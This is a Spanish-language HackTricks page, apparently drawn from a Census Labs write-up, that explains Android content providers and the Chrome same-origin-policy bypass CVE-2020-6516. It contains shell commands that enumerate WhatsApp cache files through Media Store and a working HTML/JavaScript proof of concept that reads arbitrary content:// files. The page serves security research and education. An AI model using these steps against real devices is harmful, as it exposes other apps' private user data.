8.6 KiB
Para experimentar con los proveedores de contenido, se puede utilizar el comando content
en dispositivos Android. No es necesario tener acceso root. Por ejemplo, para ver la lista de archivos gestionados por Media Store, se puede ejecutar el siguiente comando:
$ content query --uri content://media/external/file
Para hacer que la salida sea más amigable para el usuario, se puede limitar las columnas mostradas al identificador y la ruta de cada archivo indexado.
$ content query --uri content://media/external/file --projection _id,_data
Los proveedores de medios existen en su propio espacio de nombres privado. Como se ilustra en el ejemplo anterior, para acceder a un proveedor de contenido se debe especificar el URI correspondiente content://
. Generalmente, la información sobre las rutas a través de las cuales se puede acceder a un proveedor se puede recuperar mirando los manifiestos de las aplicaciones (en caso de que el proveedor de contenido sea exportado por una aplicación) o el código fuente del framework de Android.
Curiosamente, en dispositivos Android, Chrome admite el acceso a proveedores de contenido a través del esquema content://
. Esta característica permite al navegador acceder a recursos (por ejemplo, fotos, documentos, etc.) exportados por aplicaciones de terceros. Para verificar esto, se puede insertar una entrada personalizada en la Media Store y luego acceder a ella usando el navegador:
$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Para descubrir el identificador del archivo recién insertado:
$ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
Y para ver el archivo en Chrome, se puede utilizar una URL como la que se muestra en la siguiente imagen. Observe el identificador de archivo 747 (descubierto anteriormente) que se utiliza como sufijo en la URL.
Por ejemplo, se podrían listar todos los archivos relacionados con WhatsApp con:
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...
El bypass de la Política de Origen Same-Origin-Policy CVE-2020-6516 de Chrome
La Política de Origen Same-Origin (SOP) [12] en los navegadores dicta que el contenido Javascript de la URL A solo podrá acceder al contenido en la URL B si los siguientes atributos de la URL permanecen iguales para A y B:
- El protocolo, por ejemplo,
https
vs.http
- El dominio, por ejemplo,
www.example1.com
vs.www.example2.com
- El puerto, por ejemplo,
www.example1.com:8080
vs.www.example1.com:8443
Por supuesto, hay excepciones a las reglas anteriores, pero en general, un recurso de https://www.example1.com
(por ejemplo, un fragmento de código Javascript) no puede acceder al DOM de un recurso en https://www.example2.com
, ya que esto introduciría graves fugas de información. A menos que una política de Compartición de Recursos de Origen Cruzado (CORS) lo permita explícitamente, no debería ser posible que un recurso web evite las reglas de SOP.
Es esencial tener en cuenta que Chrome considera content://
como un esquema local, al igual que file://
. En este caso, las reglas de SOP son aún más estrictas, ya que cada URL de esquema local se considera un origen separado. Por ejemplo, el código Javascript en file:///tmp/test.html no debería poder acceder al contenido de file:///tmp/test2.html, o cualquier otro archivo en el sistema de archivos. En consecuencia, según las reglas de SOP, un recurso cargado a través de content://
no debería poder acceder a ningún otro recurso content://
. Bueno, la vulnerabilidad CVE-2020-6516 de Chrome creó una "excepción" a esta regla.
CVE-2020-6516 [03] es un bypass de SOP en recursos cargados a través de una URL content://
. Por ejemplo, el código Javascript, que se ejecuta desde el contexto de un documento HTML cargado desde content://com.example.provider/test.html
, puede cargar y acceder a cualquier otro recurso cargado a través de una URL content://
. Esta es una vulnerabilidad grave, especialmente en dispositivos que ejecutan Android 9 o versiones anteriores de Android. En estos dispositivos, el almacenamiento con ámbito [13] no está implementado y, en consecuencia, los datos específicos de la aplicación en /sdcard, y más interesante aún, en /sdcard/Android, se pueden acceder a través del proveedor de contenido de Media Store del sistema.
Un ejemplo de prueba de concepto es bastante sencillo. Se carga un documento HTML que utiliza XMLHttpRequest
para acceder a URL content://
arbitrarias en /sdcard. Luego se agrega en Media Store y se renderiza en Chrome, de manera similar al ejemplo mostrado anteriormente. Para fines de demostración, se puede intentar cargar content://media/external/file/747
, que es, de hecho, la URL de Media Store del ejemplo "Hola, mundo!". Sorprendentemente, el código Javascript, que se ejecuta dentro del origen del documento HTML, recuperará y mostrará el contenido de test.txt.
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Información tomada de este artículo: https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén la oficial PEASS & HackTricks swag
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio hacktricks y al repositorio hacktricks-cloud.